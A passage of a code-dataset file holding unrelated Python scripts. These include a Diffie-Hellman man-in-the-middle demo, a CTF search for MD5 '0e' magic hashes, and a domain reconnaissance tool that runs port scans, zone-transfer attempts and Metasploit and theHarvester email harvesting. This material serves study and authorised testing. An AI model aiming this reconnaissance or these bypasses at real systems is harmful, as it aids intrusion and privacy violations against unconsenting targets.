else:\n ax5.plot(prc_triplet[1][0],prc_triplet[2][0],label='PRC curve (area = %0.2f)' % prc_triplet[0][0])\n ax5.set_yticks(np.arange(0, 1.25, step=0.2))\n ax5.set_xticks(np.arange(0, 1.2, step=0.2))\n ax5.legend(loc=\"lower right\")\n fig.tight_layout()\n fig.savefig('auc_plot-new-' + extension+'.png')\n pyplot.close()\n","sub_path":"cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":17135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"548938757","text":"#!/usr/bin/env python3\n\nfrom hashlib import sha1\nimport os\nimport secrets\n\nfrom Cryptodome.Cipher import AES\n\nimport s5c33\nimport utils\n\n# NIST params\np, g = s5c33.to_int(\"\"\"\nffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024\ne088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd\n3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec\n6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f\n24117c4b1fe649286651ece45b3dc2007cb8a163bf0598da48361\nc55d39a69163fa8fd24cf5f83655d23dca3ad961c62f356208552\nbb9ed529077096966d670c354e4abc9804f1746c08ca237327fff\nfffffffffffff\n\"\"\"), 2\n\n\ndef gen_keypair(p, g):\n \"\"\"Generate a keypair using `p`, `g`.\"\"\"\n a = secrets.randbelow(p)\n A = pow(g, a, p)\n return a, A\n\n\ndef derive_aes_key(s: int) -> bytes:\n \"\"\"Derive an AES-128 key from a shared secret: SHA1(SECRET)[0:16].\"\"\"\n # The shared secrets are 192 bytes long, or 384 hex-digits.\n return sha1(bytes.fromhex(f'{s:0384x}')).digest()[:16]\n\n\ndef encrypt(k: bytes, pt: bytes, iv: bytes) -> bytes:\n \"\"\"AES-128-CBC encrypt; prepended IV.\"\"\"\n return iv + AES.new(k, AES.MODE_CBC, iv).encrypt(utils.pad_pkcs7(pt, 16))\n\n\ndef decrypt(k: bytes, ct: bytes, iv: bytes) -> bytes:\n \"\"\"AES-128-CBC decrypt; prepended IV.\"\"\"\n return utils.unpad_pkcs7(AES.new(k, AES.MODE_CBC, iv).decrypt(ct), 16)\n\n\ndef protocol_demo():\n \"\"\"Demo the challenge's DH protocol.\"\"\"\n # Alice shares the DH params (p, g).\n # - Alice sends \"p\", \"g\" to Bob\n\n # Both sides generate keypairs.\n a, A = gen_keypair(p, g)\n b, B = gen_keypair(p, g)\n\n # Both sides share public keys (A, B).\n # - Alice sends \"A\" to Bob\n # - Bob sends \"B\" to Alice\n\n # Both sides calculate the same secret.\n sA = pow(B, a, p)\n sB = pow(A, b, p)\n assert sA == sB\n\n # Both sides derive the same key.\n kA = derive_aes_key(sA)\n kB = derive_aes_key(sB)\n assert kA == kB\n\n # Alice encrypts a message under AES-128-CBC.\n ptA = b'Hi, this is Alice!'\n ivA = os.urandom(16)\n ctA = encrypt(kA, ptA, ivA)\n\n # Bob encrypts a message under AES-128-CBC.\n ptB = b'Hi, this is Bob!'\n ivB = os.urandom(16)\n ctB = encrypt(kB, ptB, ivB)\n\n # Alice and Bob exchange some encrypted messages.\n # - Alice sends `ctA` to Bob\n # - Bob sends `ctB` to Bob\n\n # Both sides decrypt an incoming message under AES-128-CBC.\n ptA_recv = decrypt(kB, ctA[16:], ctA[:16])\n ptB_recv = decrypt(kA, ctB[16:], ctB[:16])\n assert ptA_recv == ptA\n assert ptB_recv == ptB\n\n\ndef protocol_mitm():\n \"\"\"MITM the challenge's protocol.\"\"\"\n # Alice shares the DH params (p, g).\n # - Alice sends \"p\", \"g\" to Bob\n\n # Both sides generate keypairs.\n a, A = gen_keypair(p, g)\n b, B = gen_keypair(p, g)\n\n # Both sides attempt to share public keys (A, B).\n # However, Michael replaces each public key with \"p\".\n\n # Both sides calculate the same secret.\n # However, Michael has forced the secret to equal zero!\n sA = pow(p, a, p)\n sB = pow(p, b, p)\n assert sA == sB == 0\n\n # Both sides derive the same key.\n kA = derive_aes_key(sA)\n kB = derive_aes_key(sB)\n assert kA == kB\n\n # Alice encrypts a message under AES-128-CBC.\n ptA = b'Hi, this is Alice!'\n ivA = os.urandom(16)\n ctA = encrypt(kA, ptA, ivA)\n\n # Bob encrypts a message under AES-128-CBC.\n ptB = b'Hi, this is Bob!'\n ivB = os.urandom(16)\n ctB = encrypt(kB, ptB, ivB)\n\n # Alice and Bob exchange some encrypted messages.\n # However, Michael intercepts and forwards them.\n # - Alice sends `ctA` to Bob, through Michael\n # - Bob sends `ctB` to Alice, through Michael\n\n # Both sides decrypt an incoming message under AES-128-CBC.\n ptA_recv = decrypt(kB, ctA[16:], ctA[:16])\n ptB_recv = decrypt(kA, ctB[16:], ctB[:16])\n assert ptA_recv == ptA\n assert ptB_recv == ptB\n\n # Since Michael knows the shared secret is 0, he can decrypt both messages.\n kM = derive_aes_key(0)\n ptA_via_M = decrypt(kM, ctA[16:], ctA[:16])\n ptB_via_M = decrypt(kM, ctB[16:], ctB[:16])\n assert ptA_via_M == ptA\n assert ptB_via_M == ptB\n\n\nif __name__ == '__main__':\n protocol_demo()\n protocol_mitm()\n print('success')\n","sub_path":"s5c34.py","file_name":"s5c34.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"392590170","text":"from aiida.orm import KpointsData, StructureData, Float\nfrom aiida.engine import calcfunction\n\n@calcfunction\ndef get_kpoints_mesh_from_structure(structure: StructureData,\n kpoints_distance: Float) -> KpointsData:\n kpoints_data = KpointsData()\n kpoints_data.set_cell_from_structure(structure)\n kpoints_data.set_kpoints_mesh_from_density(kpoints_distance.value)\n\n return kpoints_data","sub_path":"aiida_quantumespresso_elastic/utils/get_kpoints_mesh_from_structure.py","file_name":"get_kpoints_mesh_from_structure.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"320191804","text":"#!/usr/bin/python3\n\n#Auto-Enumerationstool von Max Spitzlay\n \n#Importing\nimport sys #Importiert sys\nimport os #import os commands\nimport time #sleep process\n#import subprocess #For reading out results\nfrom datetime import datetime #import current date\nimport socket #Socket Importieren\n#import getopt #getopt for command line arguments\nimport argparse #Argparse um die Argumente wie -o -d einzubringen\n#import itertools #Animations\n#import threading #Animations\nimport colors as co #colors.py file um farbig zu schreiben\n#import animate as an #animate.py fuer animationen\n#import webscraping\n#from webscraping import download\nimport random\nfrom spenum import *\n\n\n#Hier werden die Classes hinterlegt um subdomains zu scannen\n\n#Subdomainnr:\n#sed -n [x]p Eye.txt //Printet mir line nr x aus\n#subnr = nummer welche subdomain es gerade ist\n\n#Get ip\nclass sub_ip:\n def sub_ip(self):\n time.sleep(float(sleeper))\n co.printout (\"\\n\\nGetting IP-Address ... \\n\", BLUE)\n co.printout (\"\\n--- --- ---Tool: host \\n\", GREEN)\n current_subdomain_ip = socket.gethostbyname(current_subdomain_address)\n file.write(\"Die IP-Addresse der Website ist: \" + current_subdomain_ip + \"\\nDie IPv6-Addresse ist: \")\n file.close() #close the file\n os.system(\"host %s | awk '/IPv6/{print >> \\\"./Enumerationen/%s/%s\\\";}1'\" % (current_subdomain_address, domain, current_subdomain_address))\n os.system(\"host %s\" % current_subdomain_address)\n file = open('./Enumerationen/%s/%s' % (domain, current_subdomain_address), 'a') #open it again\n file.write(\"\\n \\n\")\n time.sleep(float(sleeper))\n\nsub_ip = sub_ip()\n\n \nclass sub_mailserver:\n def sub_mailserver(self):\n co.printout (\"\\n\\nGetting Mailserver... \\n\", BLUE)\n co.printout (\"\\n--- --- ---Tool: dig\", GREEN)\n time.sleep(float(sleeper))\n file.write(\"Mailserver: \\n \\n\")\n file.close() #close the file\n os.system(\"dig\" + \" \" + current_subdomain_address + \" MX | awk '/MX/{print >> \\\"./Enumerationen/%s/%s\\\";}1'\" % (domain, current_subdomain_address))\n file = open('./Enumerationen/%s/%s' % (domain, current_subdomain_address), 'a') #open it again\n file.write(\"\\n \\n\")\n time.sleep(float(sleeper))\n\nsub_mailserver = sub_mailserver()\n\nclass sub_portscan:\n def sub_portscan(self):\n co.printout (\"\\n\\nScanning for open ports... \\n\", BLUE)\n co.printout (\"\\n--- --- ---Tool: nmap \\n\", GREEN)\n time.sleep(float(sleeper))\n file.write(\"Open Ports: \\n \\n\")\n file.close() #close the file\n os.system(\"nmap -p -5000 %s | awk '/Host/,0{print >>\\\"./Enumerationen/%s/%s\\\";}1'\" % (current_subdomain_ip, domain, current_subdomain_address))\n file = open('./Enumerationen/%s/%s' % (domain, current_subdomain_address), 'a') #open it again\n file.write(\"\\n \\n\")\n time.sleep(float(sleeper))\n\nsub_portscan = sub_portscan()\n\nclass sub_nameserver:\n def sub_nameserver(self):\n co.printout (\"\\nGetting Nameserver... \\n\", BLUE)\n co.printout (\"\\n--- --- ---Tool: dig\", GREEN)\n time.sleep(float(sleeper))\n file.write(\"Nameserver: \\n \\n\")\n file.close() #close the file\n os.system(\"dig %s ns | awk '/ns/{print >>\\\"./Enumerationen/%s/%s\\\";}1'\" % (current_subdomain_address, domain, domain, current_subdomain_address))\n file = open('./Enumerationen/%s/%s' % (domain, current_subdomain_address), 'a') #open it again\n file.write(\"\\n \\n\")\n time.sleep(float(sleeper))\n\nsub_nameserver = sub_nameserver()\n\nclass sub_transfer:\n def sub_transfer(self):\n file.write(\"\\nZone-Transfer: \\n \\n\")\n co.printout (\"\\nAttempting Zone Transfer... \\n\", BLUE)\n co.printout (\"\\n--- --- ---Tool: dnsrecon \\n\", GREEN)\n time.sleep(float(sleeper)) #Sleeper\n file.close() #close the file\n os.system(\"dnsrecon -d %s -a | awk '/Performing/,0{print >>\\\"./Enumerationen/%s/%s\\\";}1'\" % (current_subdomain_address, domain, current_subdomain_address))\n file = open('./Enumerationen/%s/%s' % (domain, current_subdomain_address), 'a') #open it again\n file.write(\"\\n \\n\")\n time.sleep(float(sleeper))\n\nsub_transfer = sub_transfer()\n\nclass sub_range:\n def sub_range(self):\n file.write(\"IP-Range: \")\n co.printout (\"\\n\\nGetting IP Range... \\n\", BLUE)\n co.printout (\"\\n--- --- ---Tool: whois -B \\n\", GREEN)\n time.sleep(float(sleeper)) #Sleeper\n file.close() #close the file\n reichweite = os.system(\"whois -B %s | grep 'inetnum' | sed 's/inetnum: //g' | sed 's/ //g'\" % current_subdomain_ip) #filter IP Range out\n os.system(\"whois -B %s | grep 'inetnum' | sed 's/inetnum: //g' | sed 's/ //g' >> ./Enumerationen/%s/%s\" % (current_subdomain_ip, domain, current_subdomain_address))\n file = open('./Enumerationen/%s/%s' % (domain, current_subdomain_address), 'a') #open it again\n file.write(\"\\n \\n\")\n time.sleep(float(sleeper))\n\nsub_range = sub_range()\n\nclass sub_ssl:\n def sub_ssl(self):\n file.write(\"\\n \\nSSL-Scan Results: \\n \\n\")\n co.printout (\"\\n\\nRunning SSL-Scan... \\n\", BLUE)\n co.printout (\"\\n--- --- ---Tool: sslscan \\n\", GREEN)\n time.sleep(float(sleeper)) #Sleeper\n file.close() #close the file\n os.system(\"sslscan --no-colour %s | awk '/OpenSSL/,0{print >>\\\"./Enumerationen/%s/%s\\\";}1'\" % (current_subdomain_address, domain, current_subdomain_address)) #Dirty Fix, da er sich erste Line pickt und dann followt\n file = open('./Enumerationen/%s/%s' % (domain, current_subdomain_address), 'a') #open it again\n file.write(\"\\n \\n\")\n time.sleep(float(sleeper))\n time.sleep(float(sleeper))\n\nsub_ssl = sub_ssl()\n\nclass sub_lbd:\n def sub_lbd(self):\n file.write(\"Loadbalancing: \\n \\n\")\n co.printout (\"\\n\\nTesting for loadbalancing... \\n\", BLUE)\n co.printout (\"\\n--- --- ---Tool: lbd\", GREEN)\n time.sleep(float(sleeper)) #Sleeper\n file.close() #close the file\n os.system(\"lbd %s | awk '/use Load-balancing/{print >>\\\"./Enumerationen/%s/%s\\\";}1'\" % (current_subdomain_address, domain, current_subdomain_address))\n file = open('./Enumerationen/%s/%s' % (domain, current_subdomain_address), 'a') #open it again\n file.write(\"\\n \\n\")\n time.sleep(float(sleeper))\n\nsub_lbd = sub_lbd()\n\nclass sub_harvester:\n def sub_harvester(self):\n file.write(\"Harvested Emails: \\n \\n\")\n co.printout (\"\\n\\nHarvesting E-Mails... \\n\", BLUE)\n co.printout (\"\\n--- --- ---Tool: theharvester\", GREEN)\n time.sleep(float(sleeper)) #Sleeper\n file.close() #close the file\n os.system(\"theharvester -d %s -b google | awk '/%s/{print >>\\\"./Enumerationen/%s/%s\\\";}1'\" % (current_subdomain_address, current_subdomain_address, domain, current_subdomain_address)) #Sollte funktionieren mit @domain, muss getestet werden.\n file = open('./Enumerationen/%s/%s' % (domain, current_subdomain_address), 'a') #open it again\n file.write(\"\\n \\n\")\n time.sleep(float(sleeper))\n\nsub_harvester = sub_harvester()\n\nclass sub_metasploit:\n def sub_metasploit(self):\n co.printout (\"\\nHarvesting more E-Mails...\", BLUE)\n co.printout (\"\\n--- --- ---Tool: Metasploit / MSFConsole \\n\", GREEN)\n \n os.system(\"rm -rf metasploit-script/\") #To delete potential before-script\n os.system(\"mkdir metasploit-script\")\n os.system(\"touch ./metasploit-script/sploiter.rc\")\n os.system(\"echo use auxiliary/gather/search_email_collector > ./metasploit-script/sploiter.rc\")\n os.system(\"echo set domain %s >> ./metasploit-script/sploiter.rc\" % current_subdomain_address)\n os.system(\"echo run >> ./metasploit-script/sploiter.rc\")\n os.system(\"echo exit >> ./metasploit-script/sploiter.rc\")\n os.system(\"msfconsole -r ./metasploit-script/sploiter.rc | awk '/%s/{print >>\\\"./Enumerationen/%s/%s\\\";}1'\" % (current_subdomain_address, domain, current_subdomain_address))\n os.system(\"rm -rf metasploit-script/\") #To delete script after\n\nsub_metasploit = sub_metasploit\n\nclass sub_metagoofil:\n def sub_metagoofil(self):\n co.printout (\"\\n\\Harvesting Public Files and Information... \\n\", BLUE)\n co.printout (\"\\n--- --- ---Tool: Metagoofil \\n\", GREEN)\n time.sleep(float(sleeper))\n pwd = os.system(\"pwd\") #Current Location\n os.system(\"metagoofil -d %s -t pdf -l 100 -n 25 -o %s -f ./Enumerationen/%s/subdomains/enumpdf%s.html\" % (current_subdomain_address, pwd, domain, current_subdomain_id))\n time.sleep(float(sleeper))\n\nsub_metagoofil = sub_metagoofil()\n\n\n","sub_path":"subdomainscanner_old.py","file_name":"subdomainscanner_old.py","file_ext":"py","file_size_in_byte":8648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"147620347","text":"#(4) example04\n#import tensorflow and numpy\nimport tensorflow as tf\nimport numpy as np\n\n#[feather, wing]\nx_data = np.array(\n [[0, 0], [1, 0], [1, 1], [0, 0], [0, 0], [0, 1]])\n\n#[etc, mammal, bird]\n#one-hot encoding(label)\ny_data = np.array([\n [1, 0, 0], #etc\n [0, 1, 0], #mammal\n [0, 0, 1], #bird\n [1, 0, 0],\n [1, 0, 0],\n [0, 0, 1]\n])\n\n#make simple model\n#make placeholder\nX = tf.placeholder(tf.float32)\nY = tf.placeholder(tf.float32)\n\n#input size is 2, output size is 3\nweight1 = tf.Variable(tf.random_uniform([2, 10], -1., 1.))\nweight2 = tf.Variable(tf.random_uniform([10, 3], -1., 1.))\n\nbias1 = tf.Variable(tf.zeros([10]))\nbias2 = tf.Variable(tf.zeros([3]))\n\n#activation function\nlayer1 = tf.add(tf.matmul(X, weight1), bias1)\nlayer2 = tf.nn.relu(layer1)\n\nmodel = tf.add(tf.matmul(layer1, weight2), bias2)\n\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(labels=Y, logits=model))\n\noptimizer = tf.train.AdamOptimizer(learning_rate=0.01)\ntrain_op = optimizer.minimize(cost)\n\n#training\ninit = tf.global_variables_initializer()\nsess = tf.Session()\nsess.run(init)\n\nfor step in range(100):\n sess.run(train_op, feed_dict={X: x_data, Y: y_data})\n if (step + 1) % 10 == 0:\n print(step + 1, sess.run(cost, feed_dict={X: x_data, Y: y_data}))\nprediction = tf.argmax(model, 1)\nground_truth = tf.argmax(Y, 1)\nprint('Prediction:', sess.run(prediction, feed_dict={X: x_data}))\nprint('Ground Truth:', sess.run(ground_truth, feed_dict={Y: y_data}))\n\nis_correct = tf.equal(prediction, ground_truth)\naccuracy = tf.reduce_mean(tf.cast(is_correct, tf.float32))\nprint('Accuracy: %.2f' % sess.run(accuracy * 100, feed_dict={X: x_data, Y: y_data}))","sub_path":"tensorflow/example04.py","file_name":"example04.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"343440081","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n# Python \n#Photoelectric effect- Calculation of WorkFunction\n#Error Calculation from Theoretical and Calculated Value\n# Amrutha V-lab Simulation Result\n \n#PLATINUM #PLATINUM #PLATINUM #PLATINUM #PLATINUM #PLATINUM \n \n#Variable declaration\n\n\ne = 1.6e-19; # Charge on an electron, C\nh = 6.626e-34; # Planck's constant, Js\nc = 3.0e+08; # Speed of light in vacuum, m/s\nW_Theo = 6.35; # Theoretical Value of Work Function of Pt in eV\nlamb = float(input(\"Enter the Wavelenghth (in meter) :\")); # Wavelength of incident light (meter)\nV_0 = float(input(\"Enter the Stopping potential (-ve) :\" )); # Stopping potential for emitted electrons, V \n\n\n#Calculation\n\nf = c/lamb; # Frequency of incident radiation , Hz\nE = (h*f); # Energy carried by one photon from Planck's law, J\nK_max = (e*V_0); # Maximum kinetic energy of electrons, J\n # We have, WorkFunction W = E-K_max\nW_in_joule = ((h*f)-(e*V_0));\n #Converting to eV, Dividing by e=1.6e-19 to get WorkFunction\nW_in_eV = (W_in_joule/e)\n\n\n#Result\n\n\nprint(\"The work function of Pt metal (in joule) = \")\nprint (W_in_joule , \"joule\")\nprint(\"The work function of Pt metal (in eV) = \")\nprint (W_in_eV,\"eV\")\n\n#Error Calculation\nprint(\"Theoretical Value of WorkFunction of Pt:-\", W_Theo ,\"eV\" )\nprint(\"Calculated Value of WorkFunction of Pt:-\",W_in_eV,\"eV\")\n\n#Error=(|theoreticalValue-CalculatedValue|)/theoreticalValue\nError=(W_Theo-W_in_eV)/(W_Theo)\nprint(\"ErrorCalculated=\",Error)\n\n#Error%=Error*100\nError_Percent = Error*100\nprint(\"ErrorPercentage=\",Error_Percent,\"%\")\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"WorkFunctionPLATINUM.py","file_name":"WorkFunctionPLATINUM.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"332686873","text":"import hashlib\n\nalnum = '1234567890'\n\n\ndef try_crack(prefix):\n for al in alnum:\n candidate = prefix + al\n\n h = hashlib.md5(candidate.encode('utf-8')).hexdigest()\n\n if h.startswith('0e'):\n try:\n int(h[2:])\n print(candidate)\n exit()\n except:\n continue\n\n\npre = '0e'\nnum = 0\n\nwhile True:\n try_crack('%s%d' % (pre, num))\n num += 1\n\n# 0e1137126905\n# 0e215962017","sub_path":"2017_hack_dat_kiwi/md5_1/md5.py","file_name":"md5.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"294331617","text":"import unittest\nimport random\nimport time\n\nfrom messages import StatusMessage, RegisterMessage, Message, MessageHeader, ACKMessage, MessageType\nfrom gateway import Gateway\nfrom devices import Device\nfrom message_handler import DummyMessageHandler\nimport stacktracer\n\n\nclass TestGateway(unittest.TestCase):\n\n def setUp(self):\n self.message_handler = DummyMessageHandler()\n self.gw = Gateway(self.message_handler)\n self.gw.start()\n\n def tearDown(self):\n self.gw.stop()\n self.gw.join()\n\n def test_noNodesAfterStartup(self):\n self.assertEqual(len(self.gw.get_connected_nodes()), 0)\n\n def test_Register(self):\n led = Device(\"name\", self.message_handler)\n self.assertEqual(led.connect(), True)\n time.sleep(0.1)\n connected_nodes = self.gw.get_connected_nodes()\n self.assertEqual(len(connected_nodes), 1)\n node = connected_nodes[led.node_id]\n self.assertEqual(node.name, led.name)\n self.assertEqual(node.registered, True)\n\n last_seen = node.last_seen\n\n led._send_status()\n time.sleep(0.1)\n\n connected_nodes = self.gw.get_connected_nodes()\n self.assertEqual(len(connected_nodes), 1)\n node = connected_nodes[led.node_id]\n self.assertEqual(node.name, led.name)\n self.assertEqual(node.registered, True)\n self.assertNotEqual(node.last_seen, last_seen)\n\n # calling connect again should change nothing\n self.assertEqual(led.connect(), True)\n connected_nodes = self.gw.get_connected_nodes()\n self.assertEqual(len(connected_nodes), 1)\n\n def test_sendUnknownMessage(self):\n header = MessageHeader(node_id = 1, group_id = 1, wants_ack = False)\n m = Message(99, header)\n self.message_handler.write_message_from_device(m)\n self.assertEqual(len(self.gw.get_connected_nodes()), 0)\n # wait so the gateway can finish processing\n time.sleep(0.01)\n\n def test_sendACKForUnknownMessage(self):\n dev = Device(\"name\", self.message_handler)\n self.assertEqual(dev.connect(), True)\n header = MessageHeader(node_id = dev.node_id, group_id = dev.group_id, wants_ack = False)\n m = ACKMessage(header)\n self.message_handler.write_message_from_device(m)\n time.sleep(0.1)\n self.assertEqual(len(self.gw.get_connected_nodes()), 1)\n\n def test_sendACKForUnknownNode(self):\n header = MessageHeader(node_id = 1, group_id = 1, wants_ack = False)\n m = ACKMessage(header)\n self.message_handler.write_message_from_device(m)\n self.assertEqual(len(self.gw.get_connected_nodes()), 0)\n # wait so the gateway can finish processing\n time.sleep(0.1)\n\n def test_moreThan30Nodes(self):\n for i in range(0, 30):\n dev = Device('%s' % i, self.message_handler)\n if i == 29:\n # too many nodes registered\n self.assertEqual(dev.connect(), False)\n else:\n self.assertEqual(dev.connect(), True)\n\n time.sleep(0.1)\n connected_nodes = self.gw.get_connected_nodes()\n self.assertEqual(len(connected_nodes), 29)\n\n def test_sendRegisterMessageWithoutACKRequest(self):\n header = MessageHeader(node_id = 1, group_id = 1, wants_ack = False)\n m = RegisterMessage(header)\n self.message_handler.write_message_from_device(m)\n time.sleep(0.1)\n self.assertEqual(len(self.gw.get_connected_nodes()), 1)\n\n def test_sendRegisterMessageWithWrongNodeId(self):\n header = MessageHeader(node_id = 5, group_id = 1, wants_ack = False)\n m = RegisterMessage(header)\n self.message_handler.write_message_from_device(m)\n time.sleep(0.1)\n self.assertEqual(len(self.gw.get_connected_nodes()), 0)\n\n def test_sendStatusForUnknownNode(self):\n header = MessageHeader(node_id = 5, group_id = 1, wants_ack = False)\n m = StatusMessage(header, name = 'dev name')\n self.message_handler.write_message_from_device(m)\n self.assertEqual(len(self.gw.get_connected_nodes()), 0)\n # wait so the gateway can finish processing\n time.sleep(0.1)\n\n def test_Register_lostRegisterResponse(self):\n token = random.random()\n\n dev = Device('test dev', self.message_handler)\n\n header = MessageHeader(node_id = 1, group_id = 1, wants_ack = False)\n p = RegisterMessage(header, name = dev.name, token = token)\n self.message_handler.write_message_from_device(p)\n\n # ignore RegisterResponseMessage for now\n m = dev._incoming_messages.get(True, 1)\n\n # the gateway should already list the node as not registered\n connected_nodes = self.gw.get_connected_nodes()\n self.assertEqual(len(connected_nodes), 1)\n self.assertEqual(connected_nodes[m.new_node_id].name, dev.name)\n self.assertEqual(connected_nodes[m.new_node_id].registered, False)\n\n # write a register message again, let's assume the RegisterResponse\n # Message was lost\n self.message_handler.write_message_from_device(p)\n\n m2 = dev._incoming_messages.get(True, 1)\n self.assertEqual(m.token, m2.token)\n self.assertEqual(m.new_node_id, m2.new_node_id)\n\n # the gateway should still list the node as not registered\n connected_nodes = self.gw.get_connected_nodes()\n self.assertEqual(len(connected_nodes), 1)\n self.assertEqual(connected_nodes[m.new_node_id].name, dev.name)\n self.assertEqual(connected_nodes[m.new_node_id].registered, False)\n\n\nif __name__ == '__main__':\n stacktracer.trace_start(\"trace.html\")\n unittest.main()\n","sub_path":"gateway/test_gateway.py","file_name":"test_gateway.py","file_ext":"py","file_size_in_byte":5680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"159787976","text":"def input_score():\n grade_dict = {40: 'E', 50: 'D', 60: 'C-', 65: 'C+',\n 70: 'B-', 75: 'B+', 80: 'A', 90: 'S',\n 100: 'SSS'}\n while True:\n score_str = raw_input(\"input your score: \")\n try:\n score_num = int(score_str)\n if score_num < 0 or score_num > 100:\n raise ValueError\n except:\n print(\"invalid input\")\n\n res = 'F'\n for score in sorted(grade_dict.keys()):\n if score_num >= score:\n res = grade_dict[score]\n else:\n break\n return res\n\n\nif __name__ == '__main__':\n print(\"Your grade is %s\" % input_score())\n","sub_path":"code/lesson1.py","file_name":"lesson1.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"173767575","text":"## 590. N-ary Tree Postorder Traversal\n\n# Example 1:\n# Input: root = [1,null,3,2,4,null,5,6]\n# Output: [5,6,3,2,4,1]\n\n# Example 2:\n# Input: root = [1,null,2,3,4,5,null,null,6,7,null,8,null,9,10,null,null,11,null,12,null,13,null,null,14]\n# Output: [2,6,14,11,7,3,12,8,4,13,9,10,5,1]\n\n\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val=None, children=None):\n self.val = val\n self.children = children\n\"\"\"\n\nclass Solution:\n def postorder(self, root: 'Node') -> List[int]:\n \n self.result = []\n \n def helper(node):\n if not node:\n return\n \n for child in node.children:\n helper(child)\n \n self.result.append(node.val)\n \n helper(root)\n \n return self.result","sub_path":"Leetcode/N-ary Trees/p590.py","file_name":"p590.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"233692186","text":"#!/links/application/dsu/Python-3.2/python\n\n'''\nDocu\n'''\n\nimport subprocess\nimport shlex\nimport os\nimport fnmatch\nimport concurrent.futures\n\nrscriptPath = '/links/application/dsu/R-scripts'\npwd = os.getcwd()\npattern = '*.fastq.gz'\nrscript = '/links/application/dsu/R-2.13.2/bin/Rscript'\nconcatenationScript='/links/application/dsu/bin/concatenate_pdfs.py'\nmaxConcurrentJobs=5\n\ndef run_me(fastqFile):\n (path, file) = os.path.split(fastqFile)\n os.chdir(path)\n args = rscript + ' --vanilla ' + rscriptPath + '/' + 'fastq_quality.R ' + file\n #print(args)\n SplitArgs = shlex.split(args)\n p = subprocess.Popen(SplitArgs)\n p.wait()\n #subprocess.Popen(concatenationScript)\n\ndef findFiles (pattern):\n matches = []\n for root, dirnames, filenames in os.walk(pwd):\n for filename in fnmatch.filter(filenames, pattern):\n matches.append(os.path.join(root, filename))\n return matches\n \ndef callR():\n matchingFiles = findFiles(pattern)\n with concurrent.futures.ThreadPoolExecutor(max_workers=maxConcurrentJobs) as executor:\n out = [executor.submit(run_me, lane)\n for lane in matchingFiles]\ncallR()\n","sub_path":"deep_sequencing_unit/source/Python/fastq_quality.py","file_name":"fastq_quality.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"423739771","text":"#!/usr/bin/env python3\n\nfrom geopy.distance import vincenty\nfrom shapely.wkt import loads as wktToLineString\nfrom shapely.geometry import LineString, Point\nfrom scipy import interpolate\nfrom scipy.interpolate import Rbf\nimport geopandas as gp\nimport pandas as pd\nimport numpy as np\nimport progressbar\nimport osrm\nimport sys\nimport urllib\nimport gdal, ogr, os, osr\n\nfrom settings import dirs, ech0\n\n##\n### Analysis Settings\n##\n\ndatasets = {\n \"villages\": \"villages.shp\",\n \"towns\": \"towns.shp\",\n \"residential\": \"residential_points.shp\",\n \"schools\": \"school_points.shp\",\n \"hospitals\": \"hospitals.shp\",\n \"rivers\": \"rivers.shp\",\n}\n\n### Nearest service configuration\nosrm.RequestConfig.profile = \"foot\"\n\nsource = \"villages\"\ndests = [\"schools\", \"hospitals\", \"towns\"]\n\n### Remoteness calculation configuration\ndests_w = {\"schools\": 0.5, ## destination datasets with their weights to calculate remoteness\n \"hospitals\": 0.5,\n \"towns\": 0.5}\n\n### Sample \"channels\" / perpendicular line settings\nsmp_corridor = \"rivers\" ## sample linestrings\nminDist_m = [200, 200, 200, 200, 200]\nperpLen_m = [50, 75, 100, 125, 150]\n\n### Remoteness interpolation settings\n#rinterp_grd = min(minPerp_m)/4 ## size of blocks to sample at\n\ndef main():\n\n ##\n ### Do the damn thang!\n ##\n \n global d\n\n ## Load data\n d = load_data(datasets)\n\n ## Calculate nearest service and route to nearest service, for each service\n for dest in dests:\n route = \"{}_{}_routes\".format(source, dest)\n \n d[source] = calc_nearest(d, source, dest)\n d[route] = calc_route(d, source, dest) ## Add all the routes to each [source]_[dest]_routes dataset\n\n ## Calculate the remoteness statistic \n d[source] = calc_remoteness(d, source, dests_w)\n \n ## Generate perpendicular lines for all the specified parameters of them\n for i in range(len(minDist_m)):\n perp = \"perp_{}_{}\".format(minDist_m[i], perpLen_m[i])\n d[perp] = calc_perp_lines(d, smp_corridor, minDist_m[i], perpLen_m[i])\n\n ## Hand it off to R? \n #d = calc_rinterp(d, source, grd_size_m) ## spline interpolation w/ scipy\n\n save_shp(d)\n\ndef load_data(datasets):\n \n ##\n ## Load data\n ##\n\n ech0(\"Loading data\")\n\n d = {} ## data\n\n for name, filename in datasets.items():\n print(\"Loading: {}\".format(name))\n d[name] = gp.GeoDataFrame.from_file(\"{}{}\".format(dirs[\"results\"],filename))\n\n return d\n\ndef calc_nearest(d, source, dest):\n \n ##\n ## Compute distance matrix of villages to 